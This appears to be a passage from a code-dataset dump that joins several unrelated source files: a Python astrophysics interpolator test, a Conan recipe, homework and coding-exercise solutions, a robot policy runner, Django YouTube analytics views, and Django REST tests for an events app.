axis=0)/differenceArray.shape[0])\n axarr.plot(hubbleInterpolatorJustH0.timeDelays, variance, ls =ls[iLine], \\\n label='Ncomp %i, Nsub: %i' % (nPrincipalComponents,iNumSubSamples) )\n \n \n axarr.legend()\n \n plt.show()\n \ndef getDiffArray( iNumSubSamples, featureNumbers, nSamplesToCheck = 2, nPrincipalComponents=7 ):\n\n\n hubbleInterpolaterClass = \\\n hubbleModel.hubbleInterpolator(nSubSamples=iNumSubSamples, nPrincipalComponents=nPrincipalComponents )\n\n hubbleInterpolaterClass.getTrainingData('exactPDFpickles/allTrainingData.pkl')\n hubbleInterpolaterClass.getTimeDelayModel('pickles/hubbleInterpolatorModel%iSubSamples.pkl' % iNumSubSamples)\n \n differenceArray = np.zeros( (nSamplesToCheck, len(hubbleInterpolaterClass.timeDelays)))\n\n\n \n\n\n for iFeatureIndex, iFeatureNumber in enumerate(featureNumbers):\n \n print('%i, %i/%i' % (iFeatureNumber, iFeatureIndex+1, nSamplesToCheck))\n iFeatureSet = hubbleInterpolaterClass.features[iFeatureNumber]\n\n theta = {}\n for iTheta in iFeatureSet.dtype.names:\n theta[ iTheta ] = iFeatureSet[iTheta]\n \n interpolatedCumSum = \\\n hubbleInterpolaterClass.predictPDF( hubbleInterpolaterClass.timeDelays, theta )\n\n truth = hubbleInterpolaterClass.pdfArray[iFeatureNumber, :]\n \n differenceArray[iFeatureIndex,:] = interpolatedCumSum - truth\n\n return differenceArray\n\ndef principalComponentChecker():\n '''\n The new ensemble interpolatr averages the models from many subsamples\n of data and then finding yhe mean of all of them, like a random forest\n \n '''\n #params to test over\n \n theta = {'H0':0.7, 'OmegaM':0.3, 'OmegaK':0., \\\n 'OmegaL':0.7, 'zLens':0.5, 'densityProfile':-1.75}\n\n interpolateToTheseTimes= np.linspace(0, 3, 1e6)\n\n #the first ensemble to test which is looking at H0 and OmegaM\n\n #hubble interpolator over a small number o\n hubbleInterpolatorJustH0 = \\\n hubbleModel.hubbleInterpolator( inputFeaturesToTrain=['H0'], \\\n nSubSamples=1)\n\n \n hubbleInterpolatorJustH0.getTrainingData('exactPDFpickles/trainingDataJustH0.pkl')\n hubbleInterpolatorJustH0.getTimeDelayModel(modelFile='pickles/justH0.pkl')\n interpolatedCumSumJustH0 = \\\n hubbleInterpolatorJustH0.predictPDF( interpolateToTheseTimes, theta )\n\n\n fig, axarr = plt.subplots( hubbleInterpolatorJustH0.nPrincipalComponents, 1, figsize=(12,6))\n fig.subplots_adjust(hspace=1)\n for iNumSubSamples in [1000]:\n for i in ['','Shuffled']:\n print(i)\n hubbleInterpolaterClass = \\\n hubbleModel.hubbleInterpolator(nSubSamples=iNumSubSamples )\n\n hubbleInterpolaterClass.getTrainingData('exactPDFpickles/allTrainingData.pkl')\n hubbleInterpolaterClass.getTimeDelayModel('pickles/hubbleInterpolatorModel%iSubSamples%s.pkl' % (iNumSubSamples,i))\n \n interpolatedCumSum = \\\n hubbleInterpolaterClass.predictPDF( interpolateToTheseTimes, theta )\n\n #second ensemble tester which is just H0 and no ensemble\n \n \n for i in np.arange(hubbleInterpolaterClass.nPrincipalComponents):\n axarr[i].hist(hubbleInterpolaterClass.predictedComponents[i,:], density=True)\n ylims = axarr[i].get_ylim()\n axarr[i].plot(hubbleInterpolatorJustH0.predictedComponents[i]*[1,1], [0,100], 'k-')\n axarr[i].set_ylim(ylims)\n plt.show()\n \n\nif __name__ == '__main__':\n #principalComponentChecker()\n main()\n","repo_name":"davidharvey1986/timeDelay","sub_path":"testEnsembleGPRInterpolator.py","file_name":"testEnsembleGPRInterpolator.py","file_ext":"py","file_size_in_byte":6506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25598662037","text":"from conans import ConanFile, CMake, tools\n\n\nclass CXXProjectConan(ConanFile):\n name = \"cpp_project\"\n version = \"1.0.0\"\n license = \"MIT License\"\n author = \"Albert Havnegjerde alberthavnegjerde@gmail.com\"\n url = \"https://github.com/Portfence/cpp_project.git\"\n description = \"Example of a CXX Project using cmake_find_package_multi generator\"\n settings = \"os\", \"compiler\", \"build_type\", \"arch\"\n requires = \"doctest/2.4.6\", \\\n \"trompeloeil/41\", \\\n \"fmt/8.0.1\", \\\n \"plog/1.1.5\"\n generators = \"cmake_find_package_multi\"\n scm = {\n \"type\": \"git\",\n \"url\": url,\n \"revision\": \"auto\"\n }\n\n\n def build(self):\n cmake = CMake(self)\n cmake.configure()\n cmake.build()\n\n\n def package(self):\n cmake = CMake(self)\n cmake.configure()\n cmake.install()\n\n\n def package_info(self):\n if not self.in_local_cache:\n self.cpp_info.includedirs = [\"include\"]\n self.cpp_info.libdirs = [\"build/src\"]\n\n self.cpp_info.libs = [self.name]\n","repo_name":"Portfence/cpp_project","sub_path":"conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29979009610","text":"# Создать (не программно) текстовый файл со следующим содержимым:\n# One — 1\n# Two — 2\n# Three — 3\n# Four — 4\n# Необходимо написать программу, открывающую файл на чтение и считывающую построчно данные.\n# При этом английские числительные должны заменяться на русские.\n# Новый блок строк должен записываться в новый ��екстовый файл.\n\ndictionary = {'One': 'Один', 'Two': 'Два', 'Three': 'Три', 'Four': 'Четыре'}\nfile = open('HW4.txt', 'r', encoding='utf-8')\nmy_list = []\nb = 0\n\ndict_list = file.read().split()\nfor i in dict_list:\n try:\n i = dictionary[i]\n my_list.append(dictionary[i])\n b += 1\n if b == 3:\n my_list.append('\\n')\n b = 0\n except KeyError:\n i = i\n my_list.append(i)\nprint(my_list)\n\nfile.close()\n\nfile_2 = open('HW4.txt', 'w', encoding='utf-8')\nfile_2.writelines(my_list)\nfile_2.close()\n","repo_name":"grickoff/GeekBrains_5HW","sub_path":"4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34998388215","text":"\"\"\"\nBeecrowd\nProblema 1061 Tiempo Del Evento\nLink:https://www.beecrowd.com.br/judge/es/problems/view/1061\nSe obtiene el tiempo transcurrido en segundos desde el inicio del dia 0, hasta tanto el inicio como el final del evento.\nLuego restando ambos tiempos se obtiene la duración del evento en formato de días, horas, minutos y segundos.\n\"\"\"\nD1 = int((input().split())[1])\nH1,M1,S1 = map(int,(input().split(\" : \")))\nD2 = int((input().split())[1])\nH2,M2,S2 = map(int,(input().split(\" : \")))\n\nT1 = S1+M1*60+H1*60*60+D1*24*60*60\nT2 = S2+M2*60+H2*60*60+D2*24*60*60\n\nDia = (T2-T1)//(24*60*60)\nResto = (T2-T1)%(24*60*60)\nHoras = (Resto)//(60*60)\nResto = (Resto)%(60*60)\nMinutos = Resto//(60)\nSegundos = Resto%60\nprint(Dia,\"dia(s)\")\nprint(Horas,\"hora(s)\")\nprint(Minutos,\"minuto(s)\")\nprint(Segundos,\"segundo(s)\")","repo_name":"SantiagoRamos132/Problemas-en-linea","sub_path":"Beecrowd - 1061 - Tiempo Del Evento.py","file_name":"Beecrowd - 1061 - Tiempo Del Evento.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43577293099","text":"import torch\nimport sys\nimport time\nimport pickle\nimport numpy as np\n\nfrom cassie.cassie import CassieEnv\n\nif __name__ == '__main__':\n with torch.no_grad():\n run_args = pickle.load(open('generic_policy/experiment.pkl', 'rb'))\n\n policy = torch.load('generic_policy/actor.pt')\n policy.eval()\n\n env = CassieEnv()\n\n while True:\n policy.init_hidden_state()\n state = env.reset()\n done = False\n\n env.phase = 0\n for t in range(300):\n # set command inputs here\n #env.speed = 0\n #env.ratio = [0, 1]\n #env.ratio = [0.5, 0.5]\n #env.period_shift = [0, 0]\n\n start_time = time.time()\n action = policy(state)\n state, _, _, _ = env.step(action)\n env.render()\n\n while time.time() - start_time < env.simrate / 2000:\n time.sleep(0.001)\n","repo_name":"osudrl/OSU-Intel-Collab","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11061651787","text":"from django.shortcuts import render\nfrom api import youtube\nimport json\nfrom django.http import JsonResponse\nfrom datetime import datetime, date\nimport os\n\nyoutube_service = None\ndef home(request):\n # items = Item.objects.all()\n integration_list = [\n {\"name\": \"youtube\", \"image\": \"/static/YouTube_icon_(2011-2013).svg.png\"},\n {\"name\": \"facebook\", \"image\": \"/static/fb.png\"},\n {\"name\": \"tiktok\", \"image\": \"/static/TikTok_Logo.jpg\"}\n ]\n return render(request, 'home.html', {\"integrations\": integration_list})\n\ndef youtube_analytics(request):\n data = []\n results ={}\n modified_date_range = []\n views = []\n viewObject = {}\n metric = 'views'\n end = date.today()\n print(\"***************\")\n start = date(end.year, end.month, 1).strftime('%Y-%m-%d')\n dimension=\"day\"\n display = \"Text\"\n if request.method == 'POST':\n\n if(request.POST.get('metric')):\n metric = request.POST.get('metric')\n\n if(request.POST.get('start_date')):\n start = request.POST.get('start_date')\n if(request.POST.get('end_date')):\n end = request.POST.get('end_date')\n if(request.POST.get('dimension')):\n dimension = request.POST.get('dimension')\n if(request.POST.get('display')):\n display = request.POST.get('display')\n youtubeData = youtube.youtubeData(start,end,dimension)\n \n\n \n \n name = youtubeData[\"channel_name\"] \n \n \n results = youtubeData[\"stats\"]\n for row in results.get('rows', []):\n data.append(row)\n # print(data)\n # print(data) views,comments,likes,dislikes,shares,subscribersGained,subscribersLost'\n metrics = [\"views\",\"comments\",\"likes\",\"dislikes\",\"shares\",\"subscribersGained\",\"subscribersLost\" ]\n index = [0,1,2,3,4,5,6]\n \n # metrics='views,comments,likes,dislikes,shares,subscribersGained,subscribersLost',\n n = metrics.index(metric)+1\n for i in range(len(data)):\n year = datetime.strptime(data[i][0], \"%Y-%m-%d\").strftime(\"%b %d\")\n value = data[i][n] # Replace this with the actual value for the metric\n viewObject[year] = value\n graphData = []\n \n for i,j in viewObject.items():\n data = {\"date\":i, \"views\":j}\n graphData.append(data)\n print(graphData)\n context = {\"data\": data,\"channel_name\":name, \"metrics\": metrics, \"viewMode\":display, \"views\": viewObject,\"graphData\": graphData, \"start\": start, \"end\":end, \"metric_name\":metric}\n return render(request, \"analytics_page.html\", context)\n\ndef test(request):\n print(\"OK\")\n youtube_service = youtube.get_authenticated_service()\n data=[]\n modified_date_range = []\n date_range = [\"Jan\",\"Feb\",\"March\",\"April\", \"May\", \"Jun\", \"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"]\n \n start = request.POST.get('start_date') #2023-09-01\n end = request.POST.get('end_date')\n\n first_month = start.split(\"-\")[1] #09\n end_month = end.split(\"-\")[1]\n if int(first_month)<10:\n first_month = [char for char in first_month][1]\n \n if int(end_month)<10:\n end_month = [char for char in end_month][1]\n \n name = youtube.get_channel_name(youtube_service['yt_data'])\n results = youtube.get_channel_statistics(youtube_service, '2023-09-01', '2023-09-30')\n for row in results.get('rows', []):\n data.append(row)\n date_range = date_range[int(first_month)-1:int(end_month)]\n date_range_json = json.dumps(date_range)\n\n metrics = [\"views\",\"comments\",\"likes\",\"dislikes\",\"shares\",\"subscribersGained\",\"subscribersLost\" ]\n \n date_range_json = json.dumps(date_range)\n context = {\"data\": data,\"channel_name\":name, \"metrics\": metrics, \"date_range\":date_range_json}\n\n return render(request, \"analytics_page.html\", context)\n\n \n\n","repo_name":"Mbulelo20/analytics","sub_path":"base/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73984061840","text":"# Link: https://leetcode.com/problems/01-matrix/\n\n# Time Complexity: O(N * M)\n# Space Complexity: O(N * M)\n# (BFS)\nclass Solution:\n def updateMatrix(self, mat: List[List[int]]) -> List[List[int]]:\n out = [[float('inf')] * len(mat[0]) for _ in range(len(mat))]\n queue = []\n \n #add all 0s to the queue\n for i in range(len(mat)):\n for j in range(len(mat[0])):\n if mat[i][j] == 0:\n out[i][j] = 0\n queue.append([i,j])\n \n #then do BFS\n dirs = [[-1, 0], [0, -1], [0, 1], [1, 0]]\n while queue:\n cell = queue.pop(0)\n \n for i in range(4):\n x, y = cell[0] + dirs[i][0], cell[1] + dirs[i][1]\n \n if x >= 0 and x < len(mat) and y >= 0 and y < len(mat[0]) and out[cell[0]][cell[1]] + 1 < out[x][y]:\n out[x][y] = out[cell[0]][cell[1]] + 1\n queue.append([x, y])\n \n return out\n\n# Time Complexity: O(N * M)\n# Space Complexity: O(1)\n# (DP)\nclass Solution:\n def updateMatrix(self, mat: List[List[int]]) -> List[List[int]]:\n #checking top and left neighbors\n for i in range(len(mat)):\n for j in range(len(mat[0])):\n if mat[i][j] == 0:\n continue\n top = mat[i-1][j] if i-1 >= 0 else float('inf')\n left = mat[i][j-1] if j-1 >= 0 else float('inf')\n mat[i][j] = min(top, left) + 1\n \n #checking bottom and right neighbors\n for i in reversed(range(len(mat))):\n for j in reversed(range(len(mat[0]))):\n if mat[i][j] == 0:\n continue\n bottom = mat[i+1][j] if i+1 < len(mat) else float('inf')\n right = mat[i][j+1] if j+1 < len(mat[0]) else float('inf')\n mat[i][j] = min(mat[i][j], min(bottom, right) + 1)\n \n return mat","repo_name":"jimmyzhang2003/leetcode-solutions","sub_path":"graphs/01_matrix.py","file_name":"01_matrix.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11453643971","text":"from collections import deque\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def getTargetCopy(self, original: TreeNode, cloned: TreeNode, target: TreeNode) -> TreeNode:\n q = deque()\n q.append(cloned)\n \n while True:\n search = q.popleft()\n if target.val == search.val:\n return search\n \n if search.left != None:\n q.append(search.left)\n if search.right != None:\n q.append(search.right)","repo_name":"mybirth0407/leetcode","sub_path":"2101/FindaCorrespondingNodeofaBinaryTreeinaCloneofThatTree.py","file_name":"FindaCorrespondingNodeofaBinaryTreeinaCloneofThatTree.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12745384739","text":"from __future__ import unicode_literals\nfrom datetime import datetime, timedelta\nimport json\nimport time\nfrom django.utils import timezone\nfrom django.conf import settings\nfrom django.contrib.gis.geos import Point\nfrom django.core.urlresolvers import reverse\nfrom hashids import Hashids\nimport httpretty\nimport mock\nimport pytz\nimport requests\nfrom rest_framework import status\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.renderers import JSONRenderer\nfrom rest_framework.test import APITestCase\nfrom twilio import TwilioRestException\nfrom rallytap.apps.auth.models import Points, User, UserPhone\nfrom rallytap.apps.auth.serializers import FriendSerializer\nfrom rallytap.apps.events.models import Event, Place, RecommendedEvent, SavedEvent\nfrom rallytap.apps.events.serializers import (\n EventSerializer,\n RecommendedEventSerializer,\n SavedEventSerializer,\n SavedEventFullEventSerializer,\n)\nfrom rallytap.apps.friends.models import Friendship\n\n\nclass EventTests(APITestCase):\n\n def setUp(self):\n # Mock a user.\n self.user = User(location='POINT(40.6898319 -73.9904645)')\n self.user.save()\n\n # Authorize the requests with the user's token.\n self.token = Token(user=self.user)\n self.token.save()\n self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.token.key)\n\n # Mock a place.\n self.place = Place(name='Founder House',\n geo='POINT(40.6898319 -73.9904645)')\n self.place.save()\n\n # Mock an event.\n self.event = Event(title='bars?!?!!', creator=self.user,\n datetime=timezone.now(), place=self.place)\n self.event.save()\n\n # Mock the user's friend.\n self.friend = User(location=self.user.location)\n self.friend.save()\n friendship = Friendship(user=self.friend, friend=self.user)\n friendship.save()\n friendship = Friendship(user=self.user, friend=self.friend)\n friendship.save()\n\n # Save post data.\n self.post_data = {\n 'title': 'rat fishing with the boys!',\n 'datetime': timezone.now().strftime(settings.DATETIME_FORMAT),\n 'place': {\n 'name': 'Atlantic-Barclays Station',\n 'geo': 'POINT(40.685339 -73.979361)',\n },\n }\n\n # Save urls.\n self.list_url = reverse('event-list')\n self.detail_url = reverse('event-detail', kwargs={'pk': self.event.id})\n self.interested_url = reverse('event-interested', kwargs={\n 'pk': self.event.id,\n })\n self.comment_url = reverse('event-comment', kwargs={\n 'pk': self.event.id,\n })\n\n @mock.patch('rallytap.apps.events.serializers.send_message')\n @mock.patch('rallytap.apps.events.serializers.add_members')\n def test_create(self, mock_add_members, mock_send_message):\n # Make sure the user hasn't sent out a post push notification yet.\n self.assertIsNone(self.user.last_post_notification)\n\n # Mock a friend who's not nearby.\n friend2 = User()\n friend2.save()\n friendship = Friendship(user=friend2, friend=self.user)\n friendship.save()\n\n data = self.post_data\n response = self.client.post(self.list_url, data, format='json')\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n\n # It should create the place.\n place = data.pop('place')\n Place.objects.get(**place)\n\n # It should create the event.\n event = Event.objects.get(**data)\n\n # It should send notifications to the users who have added the creator as\n # a friend.\n user_ids = [self.friend.id]\n message = 'Your friend posted \"{title}\". Are you interested?'.format(\n name=self.user.name, title=event.title)\n self.assertEqual(mock_send_message.call_count, 1)\n args = mock_send_message.call_args[0]\n self.assertEqual(len(args), 2)\n self.assertListEqual(list(args[0]), user_ids)\n self.assertEqual(args[1], message)\n\n # It should save the event for the user.\n SavedEvent.objects.get(event=event, user=self.user,\n location=self.user.location)\n\n # It should add the user to the members list on meteor.\n mock_add_members.assert_called_with(event, self.user.id)\n\n # It should update the user's most recent post push notification.\n user = User.objects.get(id=self.user.id)\n self.assertIsNotNone(user.last_post_notification)\n\n # It should return the event.\n serializer = EventSerializer(event)\n json_event = JSONRenderer().render(serializer.data)\n self.assertEqual(response.content, json_event)\n\n @mock.patch('rallytap.apps.events.serializers.send_message')\n @mock.patch('rallytap.apps.events.serializers.add_members')\n def test_create_friends_only(self, mock_add_members, mock_send_message):\n # Mock the user's friend who added the the user, but the user hasn't added\n # back.\n added_me = User()\n added_me.save()\n friendship = Friendship(user=added_me, friend=self.user)\n friendship.save()\n\n # Make sure the user hasn't sent out a post push notification yet.\n self.assertIsNone(self.user.last_post_notification)\n\n data = self.post_data\n data['friends_only'] = True\n response = self.client.post(self.list_url, data, format='json')\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n\n # It should create the place.\n place = data.pop('place')\n Place.objects.get(**place)\n\n # It should create the event.\n event = Event.objects.get(**data)\n\n # It should send notifications to the users who have added the creator as\n # a friend, and the creator has added back.\n user_ids = [self.friend.id]\n message = 'Your friend posted \"{title}\". Are you interested?'.format(\n name=self.user.name, title=event.title)\n self.assertEqual(mock_send_message.call_count, 1)\n args = mock_send_message.call_args[0]\n self.assertEqual(len(args), 2)\n self.assertListEqual(list(args[0]), user_ids)\n self.assertEqual(args[1], message)\n\n # It should save the event for the user.\n SavedEvent.objects.get(event=event, user=self.user,\n location=self.user.location)\n\n # It should add the user to the members list on meteor.\n mock_add_members.assert_called_with(event, self.user.id)\n\n # It should update the user's most recent post push notification.\n user = User.objects.get(id=self.user.id)\n self.assertIsNotNone(user.last_post_notification)\n\n # It should return the event.\n serializer = EventSerializer(event)\n json_event = JSONRenderer().render(serializer.data)\n self.assertEqual(response.content, json_event)\n\n @mock.patch('rallytap.apps.events.serializers.send_message')\n @mock.patch('rallytap.apps.events.serializers.add_members')\n def test_create_posted_recently(self, mock_add_members, mock_send_message):\n # Mock the user having created an event in the last hour.\n self.user.last_post_notification = datetime.now(pytz.utc)\n self.user.save()\n\n data = self.post_data\n response = self.client.post(self.list_url, data, format='json')\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n\n # It should create the place.\n place = data.pop('place')\n Place.objects.get(**place)\n\n # It should create the event.\n event = Event.objects.get(**data)\n\n # It should add the user to the members list on meteor.\n mock_add_members.assert_called_with(event, self.user.id)\n\n # It shouldn't send push notifications.\n self.assertEqual(mock_send_message.call_count, 0)\n\n # It should return the event.\n serializer = EventSerializer(event)\n json_event = JSONRenderer().render(serializer.data)\n self.assertEqual(response.content, json_event)\n\n def test_create_not_logged_in(self):\n # Don't include the user's credentials in the request.\n self.client.credentials()\n\n response = self.client.post(self.list_url)\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n @mock.patch('rallytap.apps.events.serializers.send_message')\n @mock.patch('rallytap.apps.events.serializers.add_members')\n def test_create_add_members_error(self, mock_add_members, mock_send_message):\n mock_add_members.side_effect = requests.exceptions.HTTPError()\n\n response = self.client.post(self.list_url, self.post_data, format='json')\n self.assertEqual(response.status_code, status.HTTP_503_SERVICE_UNAVAILABLE)\n\n def test_get(self):\n response = self.client.get(self.detail_url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n # It should return the event.\n event = Event.objects.get(id=self.event.id)\n serializer = EventSerializer(event)\n json_event = JSONRenderer().render(serializer.data)\n self.assertEqual(response.content, json_event)\n\n def test_interested(self):\n # Mock the user and their friend having saved the event.\n user_saved_event = SavedEvent(user=self.user, event=self.event,\n location=self.user.location)\n user_saved_event.save()\n friend_saved_event = SavedEvent(user=self.friend, event=self.event,\n location=self.user.location)\n friend_saved_event.save()\n\n response = self.client.get(self.interested_url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n # It should return the user's friend.\n users = [self.friend]\n serializer = FriendSerializer(users, many=True)\n json_users = JSONRenderer().render(serializer.data)\n self.assertEqual(response.content, json_users)\n\n def test_interested_not_interested(self):\n # Make sure the user isn't interested in the event.\n with self.assertRaises(SavedEvent.DoesNotExist):\n SavedEvent.objects.get(event=self.event, user=self.user)\n\n response = self.client.get(self.interested_url)\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n @mock.patch('rallytap.apps.events.views.send_message')\n def test_comment(self, mock_send_message):\n # Use the meteor server's auth token.\n try:\n meteor_user = User.objects.get(id=settings.METEOR_USER_ID)\n token = Token.objects.get(user=meteor_user)\n except User.DoesNotExist:\n dt = timezone.now()\n meteor_user = User(id=settings.METEOR_USER_ID, date_joined=dt)\n meteor_user.save()\n token = Token(user=meteor_user)\n token.save()\n self.client.credentials(HTTP_AUTHORIZATION='Token ' + token.key)\n\n # Mock the user and their friend having saved the event.\n user_saved_event = SavedEvent(user=self.user, event=self.event,\n location=self.user.location)\n user_saved_event.save()\n friend_saved_event = SavedEvent(user=self.friend, event=self.event,\n location=self.user.location)\n friend_saved_event.save()\n\n data = {\n 'from_user': self.user.id,\n 'text': 'Let\\'s dooo it!',\n }\n response = self.client.post(self.comment_url, data)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n # It should send the friend a push notification.\n user_ids = [self.friend.id]\n message = '{name} to {activity}: {text}'.format(name=self.user.name,\n activity=self.event.title, text=data['text'])\n mock_send_message.assert_called_once_with(user_ids, message)\n\n def test_comment_not_meteor(self):\n # Don't use the meteor server's auth token.\n response = self.client.post(self.comment_url)\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n\nclass RecommendedEventTests(APITestCase):\n\n def setUp(self):\n # Mock a user.\n self.user = User(location=Point(40.6898319, -73.9904645))\n self.user.save()\n\n # Authorize the requests with the user's token.\n self.token = Token(user=self.user)\n self.token.save()\n self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.token.key)\n\n # Save urls.\n self.list_url = reverse('recommended-event-list')\n\n def test_query(self):\n # Mock a recommended event without a location.\n no_location_event = RecommendedEvent(title='drop it like it\\'s hot')\n no_location_event.save()\n\n # Mock a recommended event close by the user.\n place = Place(name='Coopers Craft & Kitchen',\n geo=Point(40.7270113, -73.9912938))\n place.save()\n nearby_event = RecommendedEvent(title='$1 fish tacos', place=place)\n nearby_event.save()\n\n # Mock a recommended event far from the user.\n place = Place(name='Bronx Zoo',\n geo=Point(40.8560079, -73.970945))\n place.save()\n far_event = RecommendedEvent(title='see some giraffes', place=place)\n far_event.save()\n\n response = self.client.get(self.list_url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n # It should return all non-expired recommended events where the event\n # either doesn't have a location, or the event is within 10 miles of\n # the user.\n recommended_events = [no_location_event, nearby_event]\n serializer = RecommendedEventSerializer(recommended_events, many=True)\n json_recommended_events = JSONRenderer().render(serializer.data)\n self.assertEqual(response.content, json_recommended_events)\n\n def test_query_not_logged_in(self):\n # Don't include the user's credentials in the request.\n self.client.credentials()\n\n response = self.client.post(self.list_url)\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n\nclass SavedEventTests(APITestCase):\n\n def setUp(self):\n # Mock a user.\n self.user = User(location=Point(40.6898319, -73.9904645))\n self.user.save()\n\n # Authorize the requests with the user's token.\n self.token = Token(user=self.user)\n self.token.save()\n self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.token.key)\n\n # Save urls.\n self.list_url = reverse('saved-event-list')\n\n @mock.patch('rallytap.apps.events.views.add_members')\n @mock.patch('rallytap.apps.events.views.send_message')\n def test_create(self, mock_send_message, mock_add_members):\n # Mock the user's friend.\n friend = User(name='Michael Bolton')\n friend.save()\n friendship = Friendship(user=self.user, friend=friend)\n friendship.save()\n\n # Mock an event.\n event = Event(title='get jiggy with it', creator=friend)\n event.save()\n friend_saved_event = SavedEvent(event=event, user=friend,\n location=self.user.location)\n friend_saved_event.save()\n\n # Mock another user who the user isn't friends with being interested, too.\n other_dude = User(name='Jazzy Jeff')\n other_dude.save()\n other_dude_saved_event = SavedEvent(event=event, user=other_dude,\n location=self.user.location)\n other_dude_saved_event.save()\n\n # Save the user's current score to compare to after the request.\n user_points = self.user.points\n\n # Save the friend's current score to compare to after the request.\n friend_points = friend.points\n\n data = {'event': event.id}\n response = self.client.post(self.list_url, data)\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n\n # It should create the saved event.\n saved_event = SavedEvent.objects.get(user=self.user, event=event,\n location=self.user.location)\n\n # It should add the user to the members list on meteor.\n mock_add_members.assert_called_once_with(event, self.user.id)\n\n # It should notify the user's friends who are already interested.\n friends = [friend.id]\n message = '{name} is also interested in {activity}!'.format(\n name=self.user.name, activity=event.title)\n mock_send_message.assert_called_once_with([friend.id], message)\n\n # It should give the user points!\n user = User.objects.get(id=self.user.id)\n self.assertEqual(user.points, user_points+Points.SAVED_EVENT)\n\n # It should give the user who created the event points!\n friend = User.objects.get(id=friend.id)\n self.assertEqual(friend.points, friend_points+Points.SAVED_EVENT)\n\n # It should return the saved event with your friends who have already saved\n # the event nested inside the event.\n context = {\n 'interested_friends': {\n event.id: [friend],\n },\n 'total_num_interested': {\n event.id: 3,\n },\n }\n serializer = SavedEventFullEventSerializer(saved_event, context=context)\n json_saved_events = JSONRenderer().render(serializer.data)\n self.assertEqual(response.content, json_saved_events)\n\n def test_create_not_logged_in(self):\n # Don't include the user's credentials in the request.\n self.client.credentials()\n\n response = self.client.post(self.list_url)\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_create_friend_hasnt_saved_event(self):\n # Mock someone who the user isn't friends with creating/saving the event.\n non_connection = User()\n non_connection.save()\n event = Event(title='get jiggy with it', creator=non_connection)\n event.save()\n saved_event = SavedEvent(user=non_connection, event=event,\n location=self.user.location)\n saved_event.save()\n\n data = {'event': event.id}\n response = self.client.post(self.list_url, data)\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n def test_create_non_connection(self):\n # Mock someone who the user isn't connected to creating/saving a friends\n # only event.\n non_connection = User()\n non_connection.save()\n event = Event(title='get jiggy with it', creator=non_connection,\n friends_only=True)\n event.save()\n saved_event = SavedEvent(user=non_connection, event=event,\n location=self.user.location)\n saved_event.save()\n\n # Mock the user's friend saving the event.\n friend = User(name='Michael Bolton')\n friend.save()\n friendship = Friendship(user=self.user, friend=friend)\n friendship.save()\n saved_event = SavedEvent(user=friend, event=event,\n location=self.user.location)\n saved_event.save()\n\n data = {'event': event.id}\n response = self.client.post(self.list_url, data)\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n @mock.patch('rallytap.apps.events.views.add_members')\n def test_create_add_members_error(self, mock_add_members):\n mock_add_members.side_effect = requests.exceptions.HTTPError()\n\n # Mock an event the user is saving.\n event = Event(title='get jiggy with it', creator=self.user)\n event.save()\n\n data = {'event': event.id}\n response = self.client.post(self.list_url, data)\n self.assertEqual(response.status_code, status.HTTP_503_SERVICE_UNAVAILABLE)\n\n def test_list(self):\n # Mock the user's friend.\n friend = User(name='Whitney Houston')\n friend.save()\n friendship = Friendship(user=self.user, friend=friend)\n friendship.save()\n\n # Mock the user's friend's friend.\n friend_of_friend = User(name='Jimmy Fallon')\n friend_of_friend.save()\n friendship = Friendship(user=friend, friend=friend_of_friend)\n friendship.save()\n\n # Save locations relative to the user's location.\n nearby_location = self.user.location\n far_location = Point(40.8560079, -73.970945)\n\n # Mock a nearby event that the user's friend is interested in.\n place = Place(name='the den', geo=nearby_location)\n place.save()\n nearby_event = Event(title='smokin dope', creator=friend_of_friend,\n place=place)\n nearby_event.save()\n nearby_event_saved_event = SavedEvent(user=friend, event=nearby_event,\n location=far_location)\n nearby_event_saved_event.save()\n\n # Have the user be interested in the nearby event so that they get back\n # their friends who are also interested in the event.\n user_also_saved_event = SavedEvent(user=self.user, event=nearby_event,\n location=far_location)\n user_also_saved_event.save()\n\n # Have another of the user's friends save the nearby event, too, so that\n # we can make sure we're only returning the first of the user's friends'\n # saved events.\n other_friend = User(name='Jimmy 